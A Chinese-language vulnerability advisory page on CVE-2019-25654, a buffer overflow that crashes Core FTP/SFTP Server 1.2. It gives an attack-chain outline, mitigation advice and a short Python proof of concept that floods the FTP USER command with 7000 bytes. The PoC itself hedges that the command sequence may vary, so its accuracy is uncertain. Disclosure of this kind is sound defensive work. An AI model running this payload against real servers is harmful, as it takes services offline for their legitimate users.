IPBUF安全漏洞报告
English
CVE-2019-25654 CVSS 7.5 高危

CVE-2019-25654 Core FTP/SFTP Server 缓冲区溢出漏洞

披露日期: 2026-03-30

漏洞信息

漏洞编号
CVE-2019-25654
漏洞类型
缓冲区溢出
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Core FTP/SFTP Server

相关标签

缓冲区溢出拒绝服务Core FTP远程漏洞DoS

漏洞概述

Core FTP/SFTP Server 1.2版本存在缓冲区溢出漏洞。攻击者可通过在User domain字段输入超长字符串(约7000字节)触发溢出,导致服务进程崩溃,从而造成拒绝服务(DoS)。该漏洞利用无需认证且无需用户交互,通过网络即可远程触发。

技术细节

该漏洞源于Core FTP/SFTP Server在处理用户域配置输入时未正确验证数据长度。当攻击者发送包含7000字节恶意载荷的请求时,程序将其复制到固定大小的栈缓冲区中,导致缓冲区溢出。由于溢出破坏了栈帧结构(如返回地址),引发异常处理程序或直接导致程序终止。由于无需身份验证(PR:N)且攻击复杂度低(AC:L),攻击者可轻易利用此漏洞使目标服务不可用。

攻击链分析

STEP 1
信息收集
攻击者扫描网络,寻找开放21端口(FTP/SFTP)的目标主机,并识别其运行Core FTP/SFTP Server。
STEP 2
漏洞利用
攻击者无需认证,直接向目标服务器发送特制的数据包,其中包含7000字节的超长字符串作为User domain字段。
STEP 3
触发溢出
目标服务器在处理该超长字符串时发生缓冲区溢出,覆盖关键内存区域。
STEP 4
达成影响
由于内存破坏,Core FTP/SFTP Server服务进程崩溃,导致合法用户无法访问服务(拒绝服务)。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import socket # Target settings TARGET_IP = "192.168.1.10" TARGET_PORT = 21 # Generate payload: 7000 bytes of 'A' payload = b"A" * 7000 try: # Establish connection s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((TARGET_IP, TARGET_PORT)) print(f"[+] Connected to {TARGET_IP}") # Receive server banner s.recv(1024) # Send malicious payload to trigger buffer overflow in User domain field # Note: The exact command sequence may vary based on specific implementation s.send(b"USER " + payload + b"\r\n") print("[+] Payload sent, checking if service crashed...") # Clean up s.close() except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Core FTP/SFTP Server 1.2

防御指南

临时缓解措施
建议立即限制FTP服务的网络访问范围,仅对必要内部网络开放。同时,密切关注官方发布的安全更新,下载并安装修复了此缓冲区溢出问题的补丁或新版本软件。在未升级前,应密切监控服务器进程状态,一旦发现异常崩溃及时重启。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表